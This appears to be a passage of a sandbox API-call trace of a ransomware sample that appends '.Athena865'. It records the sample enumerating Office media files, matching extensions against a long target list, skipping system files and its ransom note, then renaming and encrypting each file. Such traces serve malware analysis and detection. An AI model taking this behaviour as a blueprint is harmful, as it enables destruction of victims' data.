lstrlenW (lpString="sis") returned 3 [0152.985] lstrcmpiW (lpString1="WAV", lpString2="sis") returned 1 [0152.985] lstrlenW (lpString="spq") returned 3 [0152.985] lstrcmpiW (lpString1="WAV", lpString2="spq") returned 1 [0152.985] lstrlenW (lpString="te") returned 2 [0152.985] lstrcmpiW (lpString1="AV", lpString2="te") returned -1 [0152.985] lstrlenW (lpString="teacher") returned 7 [0152.985] lstrcmpiW (lpString1="ION.WAV", lpString2="teacher") returned -1 [0152.985] lstrlenW (lpString="tmd") returned 3 [0152.985] lstrcmpiW (lpString1="WAV", lpString2="tmd") returned 1 [0152.985] lstrlenW (lpString="tps") returned 3 [0152.985] lstrcmpiW (lpString1="WAV", lpString2="tps") returned 1 [0152.985] lstrlenW (lpString="trc") returned 3 [0152.985] lstrcmpiW (lpString1="WAV", lpString2="trc") returned 1 [0152.985] lstrlenW (lpString="trc") returned 3 [0152.985] lstrcmpiW (lpString1="WAV", lpString2="trc") returned 1 [0152.985] lstrlenW (lpString="trm") returned 3 [0152.985] lstrcmpiW (lpString1="WAV", lpString2="trm") returned 1 [0152.985] lstrlenW (lpString="udb") returned 3 [0152.985] lstrcmpiW (lpString1="WAV", lpString2="udb") returned 1 [0152.985] lstrlenW (lpString="udl") returned 3 [0152.985] lstrcmpiW (lpString1="WAV", lpString2="udl") returned 1 [0152.985] lstrlenW (lpString="usr") returned 3 [0152.985] lstrcmpiW (lpString1="WAV", lpString2="usr") returned 1 [0152.985] lstrlenW (lpString="v12") returned 3 [0152.985] lstrcmpiW (lpString1="WAV", lpString2="v12") returned 1 [0152.985] lstrlenW (lpString="vis") returned 3 [0152.985] lstrcmpiW (lpString1="WAV", lpString2="vis") returned 1 [0152.986] lstrlenW (lpString="vpd") returned 3 [0152.986] lstrcmpiW (lpString1="WAV", lpString2="vpd") returned 1 [0152.986] lstrlenW (lpString="vvv") returned 3 [0152.986] lstrcmpiW (lpString1="WAV", lpString2="vvv") returned 1 [0152.986] lstrlenW (lpString="wdb") returned 3 [0152.986] lstrcmpiW (lpString1="WAV", lpString2="wdb") returned -1 [0152.986] lstrlenW (lpString="wmdb") returned 4 [0152.986] lstrcmpiW (lpString1=".WAV", lpString2="wmdb") returned -1 [0152.986] lstrlenW (lpString="wrk") returned 3 [0152.986] lstrcmpiW (lpString1="WAV", lpString2="wrk") returned -1 [0152.986] lstrlenW (lpString="xdb") returned 3 [0152.986] lstrcmpiW (lpString1="WAV", lpString2="xdb") returned -1 [0152.986] lstrlenW (lpString="xld") returned 3 [0152.986] lstrcmpiW (lpString1="WAV", lpString2="xld") returned -1 [0152.986] lstrlenW (lpString="xmlff") returned 5 [0152.986] lstrcmpiW (lpString1="N.WAV", lpString2="xmlff") returned -1 [0152.986] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\SUCTION.WAV.Athena865") returned 70 [0152.986] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\SUCTION.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\suction.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\SUCTION.WAV.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\media\\suction.wav.athena865"), dwFlags=0x1) returned 1 [0152.988] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\SUCTION.WAV.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\media\\suction.wav.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0152.988] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5732) returned 1 [0152.988] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0152.988] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0152.988] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54f078 [0152.988] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54f100) returned 1 [0152.989] CryptGenRandom (in: hProv=0x54f100, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0152.989] CryptReleaseContext (hProv=0x54f100, dwFlags=0x0) returned 1 [0152.989] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1970, lpName=0x0) returned 0x154 [0152.991] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1970) returned 0x100000 [0152.993] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54f100) returned 1 [0152.993] CryptGenRandom (in: hProv=0x54f100, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0152.993] CryptReleaseContext (hProv=0x54f100, dwFlags=0x0) returned 1 [0152.994] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0152.994] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0152.994] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0152.994] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0152.994] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0152.994] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0152.994] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534d20 [0152.994] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0152.994] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d20 | out: hHeap=0x4f0000) returned 1 [0152.994] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0152.994] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0152.995] CloseHandle (hObject=0x154) returned 1 [0152.995] CloseHandle (hObject=0x17c) returned 1 [0152.995] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0152.995] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54f078 | out: hHeap=0x4f0000) returned 1 [0152.995] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0152.995] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb796bf00, ftCreationTime.dwHighDateTime=0x1bd8ab7, ftLastAccessTime.dwLowDateTime=0x6d56d990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb796bf00, ftLastWriteTime.dwHighDateTime=0x1bd8ab7, nFileSizeHigh=0x0, nFileSizeLow=0x121c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TYPE.WAV", cAlternateFileName="")) returned 1 [0152.995] lstrcmpiW (lpString1="TYPE.WAV", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0152.995] lstrcmpiW (lpString1="TYPE.WAV", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0152.995] lstrcmpiW (lpString1="TYPE.WAV", lpString2=".") returned 1 [0152.995] lstrcmpiW (lpString1="TYPE.WAV", lpString2="..") returned 1 [0152.995] lstrcmpiW (lpString1="TYPE.WAV", lpString2="windows") returned -1 [0152.995] lstrcmpiW (lpString1="TYPE.WAV", lpString2="bootmgr") returned 1 [0152.995] lstrcmpiW (lpString1="TYPE.WAV", lpString2="temp") returned 1 [0152.995] lstrcmpiW (lpString1="TYPE.WAV", lpString2="pagefile.sys") returned 1 [0152.995] lstrcmpiW (lpString1="TYPE.WAV", lpString2="boot") returned 1 [0152.995] lstrcmpiW (lpString1="TYPE.WAV", lpString2="ids.txt") returned 1 [0152.995] lstrcmpiW (lpString1="TYPE.WAV", lpString2="ntuser.dat") returned 1 [0152.995] lstrcmpiW (lpString1="TYPE.WAV", lpString2="perflogs") returned 1 [0152.995] lstrcmpiW (lpString1="TYPE.WAV", lpString2="MSBuild") returned 1 [0152.995] lstrlenW (lpString="TYPE.WAV") returned 8 [0152.996] lstrcpyW (in: lpString1=0x241e8aa, lpString2="TYPE.WAV" | out: lpString1="TYPE.WAV") returned="TYPE.WAV" [0152.996] lstrlenW (lpString="TYPE.WAV") returned 8 [0152.996] lstrlenW (lpString="Athena865") returned 9 [0152.996] lstrlenW (lpString=".dll") returned 4 [0152.996] lstrcmpiW (lpString1="TYPE.WAV", lpString2=".dll") returned 1 [0152.996] lstrlenW (lpString=".lnk") returned 4 [0152.996] lstrcmpiW (lpString1="TYPE.WAV", lpString2=".lnk") returned 1 [0152.996] lstrlenW (lpString=".ini") returned 4 [0152.996] lstrcmpiW (lpString1="TYPE.WAV", lpString2=".ini") returned 1 [0152.996] lstrlenW (lpString=".sys") returned 4 [0152.996] lstrcmpiW (lpString1="TYPE.WAV", lpString2=".sys") returned 1 [0152.996] lstrlenW (lpString="TYPE.WAV") returned 8 [0152.996] lstrlenW (lpString="bak") returned 3 [0152.996] lstrcmpiW (lpString1="WAV", lpString2="bak") returned 1 [0152.996] lstrlenW (lpString="ba_") returned 3 [0152.996] lstrcmpiW (lpString1="WAV", lpString2="ba_") returned 1 [0152.996] lstrlenW (lpString="dbb") returned 3 [0152.996] lstrcmpiW (lpString1="WAV", lpString2="dbb") returned 1 [0152.996] lstrlenW (lpString="vmdk") returned 4 [0152.996] lstrcmpiW (lpString1=".WAV", lpString2="vmdk") returned -1 [0152.996] lstrlenW (lpString="rar") returned 3 [0152.996] lstrcmpiW (lpString1="WAV", lpString2="rar") returned 1 [0152.996] lstrlenW (lpString="zip") returned 3 [0152.996] lstrcmpiW (lpString1="WAV", lpString2="zip") returned -1 [0152.996] lstrlenW (lpString="tgz") returned 3 [0152.996] lstrcmpiW (lpString1="WAV", lpString2="tgz") returned 1 [0152.996] lstrlenW (lpString="vbox") returned 4 [0152.996] lstrcmpiW (lpString1=".WAV", lpString2="vbox") returned -1 [0152.996] lstrlenW (lpString="vdi") returned 3 [0152.997] lstrcmpiW (lpString1="WAV", lpString2="vdi") returned 1 [0152.997] lstrlenW (lpString="vhd") returned 3 [0152.997] lstrcmpiW (lpString1="WAV", lpString2="vhd") returned 1 [0152.997] lstrlenW (lpString="vhdx") returned 4 [0152.997] lstrcmpiW (lpString1=".WAV", lpString2="vhdx") returned -1 [0152.997] lstrlenW (lpString="avhd") returned 4 [0152.997] lstrcmpiW (lpString1=".WAV", lpString2="avhd") returned -1 [0152.997] lstrlenW (lpString="db") returned 2 [0152.997] lstrcmpiW (lpString1="AV", lpString2="db") returned -1 [0152.997] lstrlenW (lpString="db2") returned 3 [0152.997] lstrcmpiW (lpString1="WAV", lpString2="db2") returned 1 [0152.997] lstrlenW (lpString="db3") returned 3 [0152.997] lstrcmpiW (lpString1="WAV", lpString2="db3") returned 1 [0152.997] lstrlenW (lpString="dbf") returned 3 [0152.997] lstrcmpiW (lpString1="WAV", lpString2="dbf") returned 1 [0152.997] lstrlenW (lpString="mdf") returned 3 [0152.997] lstrcmpiW (lpString1="WAV", lpString2="mdf") returned 1 [0152.997] lstrlenW (lpString="mdb") returned 3 [0152.997] lstrcmpiW (lpString1="WAV", lpString2="mdb") returned 1 [0152.997] lstrlenW (lpString="sql") returned 3 [0152.997] lstrcmpiW (lpString1="WAV", lpString2="sql") returned 1 [0152.997] lstrlenW (lpString="sqlite") returned 6 [0152.997] lstrcmpiW (lpString1="PE.WAV", lpString2="sqlite") returned -1 [0152.997] lstrlenW (lpString="sqlite3") returned 7 [0152.997] lstrcmpiW (lpString1="YPE.WAV", lpString2="sqlite3") returned 1 [0152.997] lstrlenW (lpString="sqlitedb") returned 8 [0152.997] lstrlenW (lpString="xml") returned 3 [0152.997] lstrcmpiW (lpString1="WAV", lpString2="xml") returned -1 [0152.997] lstrlenW (lpString="$er") returned 3 [0152.998] lstrcmpiW (lpString1="WAV", lpString2="$er") returned 1 [0152.998] lstrlenW (lpString="4dd") returned 3 [0152.998] lstrcmpiW (lpString1="WAV", lpString2="4dd") returned 1 [0152.998] lstrlenW (lpString="4dl") returned 3 [0152.998] lstrcmpiW (lpString1="WAV", lpString2="4dl") returned 1 [0152.998] lstrlenW (lpString="^^^") returned 3 [0152.998] lstrcmpiW (lpString1="WAV", lpString2="^^^") returned 1 [0152.998] lstrlenW (lpString="abs") returned 3 [0152.998] lstrcmpiW (lpString1="WAV", lpString2="abs") returned 1 [0152.998] lstrlenW (lpString="abx") returned 3 [0152.998] lstrcmpiW (lpString1="WAV", lpString2="abx") returned 1 [0152.998] lstrlenW (lpString="accdb") returned 5 [0152.998] lstrcmpiW (lpString1="E.WAV", lpString2="accdb") returned 1 [0152.998] lstrlenW (lpString="accdc") returned 5 [0152.998] lstrcmpiW (lpString1="E.WAV", lpString2="accdc") returned 1 [0152.998] lstrlenW (lpString="accde") returned 5 [0152.998] lstrcmpiW (lpString1="E.WAV", lpString2="accde") returned 1 [0152.998] lstrlenW (lpString="accdr") returned 5 [0152.998] lstrcmpiW (lpString1="E.WAV", lpString2="accdr") returned 1 [0152.998] lstrlenW (lpString="accdt") returned 5 [0152.998] lstrcmpiW (lpString1="E.WAV", lpString2="accdt") returned 1 [0152.998] lstrlenW (lpString="accdw") returned 5 [0152.998] lstrcmpiW (lpString1="E.WAV", lpString2="accdw") returned 1 [0152.998] lstrlenW (lpString="accft") returned 5 [0152.998] lstrcmpiW (lpString1="E.WAV", lpString2="accft") returned 1 [0152.998] lstrlenW (lpString="adb") returned 3 [0152.998] lstrcmpiW (lpString1="WAV", lpString2="adb") returned 1 [0152.998] lstrlenW (lpString="adb") returned 3 [0152.999] lstrcmpiW (lpString1="WAV", lpString2="adb") returned 1 [0152.999] lstrlenW (lpString="ade") returned 3 [0152.999] lstrcmpiW (lpString1="WAV", lpString2="ade") returned 1 [0152.999] lstrlenW (lpString="adf") returned 3 [0152.999] lstrcmpiW (lpString1="WAV", lpString2="adf") returned 1 [0152.999] lstrlenW (lpString="adn") returned 3 [0152.999] lstrcmpiW (lpString1="WAV", lpString2="adn") returned 1 [0152.999] lstrlenW (lpString="adp") returned 3 [0152.999] lstrcmpiW (lpString1="WAV", lpString2="adp") returned 1 [0152.999] lstrlenW (lpString="alf") returned 3 [0152.999] lstrcmpiW (lpString1="WAV", lpString2="alf") returned 1 [0152.999] lstrlenW (lpString="ask") returned 3 [0152.999] lstrcmpiW (lpString1="WAV", lpString2="ask") returned 1 [0152.999] lstrlenW (lpString="btr") returned 3 [0152.999] lstrcmpiW (lpString1="WAV", lpString2="btr") returned 1 [0152.999] lstrlenW (lpString="cat") returned 3 [0152.999] lstrcmpiW (lpString1="WAV", lpString2="cat") returned 1 [0152.999] lstrlenW (lpString="cdb") returned 3 [0152.999] lstrcmpiW (lpString1="WAV", lpString2="cdb") returned 1 [0152.999] lstrlenW (lpString="ckp") returned 3 [0152.999] lstrcmpiW (lpString1="WAV", lpString2="ckp") returned 1 [0152.999] lstrlenW (lpString="cma") returned 3 [0152.999] lstrcmpiW (lpString1="WAV", lpString2="cma") returned 1 [0152.999] lstrlenW (lpString="cpd") returned 3 [0152.999] lstrcmpiW (lpString1="WAV", lpString2="cpd") returned 1 [0152.999] lstrlenW (lpString="dacpac") returned 6 [0152.999] lstrcmpiW (lpString1="PE.WAV", lpString2="dacpac") returned 1 [0152.999] lstrlenW (lpString="dad") returned 3 [0152.999] lstrcmpiW (lpString1="WAV", lpString2="dad") returned 1 [0152.999] lstrlenW (lpString="dadiagrams") returned 10 [0152.999] lstrlenW (lpString="daschema") returned 8 [0153.000] lstrlenW (lpString="db-journal") returned 10 [0153.000] lstrlenW (lpString="db-shm") returned 6 [0153.000] lstrcmpiW (lpString1="PE.WAV", lpString2="db-shm") returned 1 [0153.000] lstrlenW (lpString="db-wal") returned 6 [0153.000] lstrcmpiW (lpString1="PE.WAV", lpString2="db-wal") returned 1 [0153.000] lstrlenW (lpString="dbc") returned 3 [0153.000] lstrcmpiW (lpString1="WAV", lpString2="dbc") returned 1 [0153.000] lstrlenW (lpString="dbs") returned 3 [0153.000] lstrcmpiW (lpString1="WAV", lpString2="dbs") returned 1 [0153.000] lstrlenW (lpString="dbt") returned 3 [0153.000] lstrcmpiW (lpString1="WAV", lpString2="dbt") returned 1 [0153.000] lstrlenW (lpString="dbv") returned 3 [0153.000] lstrcmpiW (lpString1="WAV", lpString2="dbv") returned 1 [0153.000] lstrlenW (lpString="dbx") returned 3 [0153.000] lstrcmpiW (lpString1="WAV", lpString2="dbx") returned 1 [0153.000] lstrlenW (lpString="dcb") returned 3 [0153.000] lstrcmpiW (lpString1="WAV", lpString2="dcb") returned 1 [0153.000] lstrcmpiW (lpString1="WAV", lpString2="dct") returned 1 [0153.000] lstrcmpiW (lpString1="WAV", lpString2="dcx") returned 1 [0153.000] lstrcmpiW (lpString1="WAV", lpString2="ddl") returned 1 [0153.000] lstrcmpiW (lpString1=".WAV", lpString2="dlis") returned -1 [0153.000] lstrcmpiW (lpString1="WAV", lpString2="dp1") returned 1 [0153.001] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\TYPE.WAV.Athena865") returned 67 [0153.001] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\TYPE.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\type.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\TYPE.WAV.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\media\\type.wav.athena865"), dwFlags=0x1) returned 1 [0153.002] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\TYPE.WAV.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\media\\type.wav.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0153.002] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4636) returned 1 [0153.002] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0153.003] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0153.003] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54f078 [0153.003] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54f100) returned 1 [0153.003] CryptGenRandom (in: hProv=0x54f100, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0153.003] CryptReleaseContext (hProv=0x54f100, dwFlags=0x0) returned 1 [0153.004] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1520, lpName=0x0) returned 0x154 [0153.006] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1520) returned 0x100000 [0153.009] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54f100) returned 1 [0153.010] CryptGenRandom (in: hProv=0x54f100, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0153.010] CryptReleaseContext (hProv=0x54f100, dwFlags=0x0) returned 1 [0153.010] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0153.010] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0153.010] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0153.010] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0153.010] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0153.010] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0153.010] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534f48 [0153.010] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0153.010] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534f48 | out: hHeap=0x4f0000) returned 1 [0153.010] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0153.010] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0153.011] CloseHandle (hObject=0x154) returned 1 [0153.011] CloseHandle (hObject=0x17c) returned 1 [0153.011] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0153.011] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54f078 | out: hHeap=0x4f0000) returned 1 [0153.011] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0153.011] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdb8800, ftCreationTime.dwHighDateTime=0x1bfbeed, ftLastAccessTime.dwLowDateTime=0x7071e4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xecdb8800, ftLastWriteTime.dwHighDateTime=0x1bfbeed, nFileSizeHigh=0x0, nFileSizeLow=0x35c6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VOLTAGE.WAV", cAlternateFileName="")) returned 1 [0153.011] lstrcmpiW (lpString1="VOLTAGE.WAV", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0153.011] lstrcmpiW (lpString1="VOLTAGE.WAV", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0153.011] lstrcmpiW (lpString1="VOLTAGE.WAV", lpString2=".") returned 1 [0153.011] lstrcmpiW (lpString1="VOLTAGE.WAV", lpString2="..") returned 1 [0153.011] lstrcmpiW (lpString1="VOLTAGE.WAV", lpString2="windows") returned -1 [0153.011] lstrcmpiW (lpString1="VOLTAGE.WAV", lpString2="bootmgr") returned 1 [0153.011] lstrcmpiW (lpString1="VOLTAGE.WAV", lpString2="temp") returned 1 [0153.011] lstrcmpiW (lpString1="VOLTAGE.WAV", lpString2="pagefile.sys") returned 1 [0153.012] lstrcmpiW (lpString1="VOLTAGE.WAV", lpString2="boot") returned 1 [0153.012] lstrcmpiW (lpString1="VOLTAGE.WAV", lpString2="ids.txt") returned 1 [0153.012] lstrcmpiW (lpString1="VOLTAGE.WAV", lpString2="ntuser.dat") returned 1 [0153.012] lstrcmpiW (lpString1="VOLTAGE.WAV", lpString2="perflogs") returned 1 [0153.012] lstrcmpiW (lpString1="VOLTAGE.WAV", lpString2="MSBuild") returned 1 [0153.012] lstrlenW (lpString="VOLTAGE.WAV") returned 11 [0153.012] lstrcpyW (in: lpString1=0x241e8aa, lpString2="VOLTAGE.WAV" | out: lpString1="VOLTAGE.WAV") returned="VOLTAGE.WAV" [0153.012] lstrlenW (lpString="VOLTAGE.WAV") returned 11 [0153.012] lstrlenW (lpString="Athena865") returned 9 [0153.012] lstrcmpiW (lpString1="LTAGE.WAV", lpString2="Athena865") returned 1 [0153.012] lstrlenW (lpString=".dll") returned 4 [0153.012] lstrcmpiW (lpString1="VOLTAGE.WAV", lpString2=".dll") returned 1 [0153.012] lstrlenW (lpString=".lnk") returned 4 [0153.012] lstrcmpiW (lpString1="VOLTAGE.WAV", lpString2=".lnk") returned 1 [0153.012] lstrlenW (lpString=".ini") returned 4 [0153.012] lstrcmpiW (lpString1="VOLTAGE.WAV", lpString2=".ini") returned 1 [0153.012] lstrlenW (lpString=".sys") returned 4 [0153.012] lstrcmpiW (lpString1="VOLTAGE.WAV", lpString2=".sys") returned 1 [0153.012] lstrlenW (lpString="VOLTAGE.WAV") returned 11 [0153.012] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\VOLTAGE.WAV.Athena865") returned 70 [0153.012] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\VOLTAGE.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\voltage.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\VOLTAGE.WAV.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\media\\voltage.wav.athena865"), dwFlags=0x1) returned 1 [0153.015] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\VOLTAGE.WAV.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\media\\voltage.wav.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0153.015] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=13766) returned 1 [0153.015] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0153.016] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0153.016] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54f078 [0153.016] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54f100) returned 1 [0153.017] CryptGenRandom (in: hProv=0x54f100, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0153.017] CryptReleaseContext (hProv=0x54f100, dwFlags=0x0) returned 1 [0153.017] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x38d0, lpName=0x0) returned 0x154 [0153.021] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x38d0) returned 0x100000 [0153.023] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54f100) returned 1 [0153.024] CryptGenRandom (in: hProv=0x54f100, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0153.024] CryptReleaseContext (hProv=0x54f100, dwFlags=0x0) returned 1 [0153.024] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0153.024] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0153.024] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0153.024] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0153.024] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0153.025] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0153.025] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534d20 [0153.025] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0153.025] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d20 | out: hHeap=0x4f0000) returned 1 [0153.025] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0153.025] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0153.025] CloseHandle (hObject=0x154) returned 1 [0153.025] CloseHandle (hObject=0x17c) returned 1 [0153.025] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0153.025] HeapFree (in: 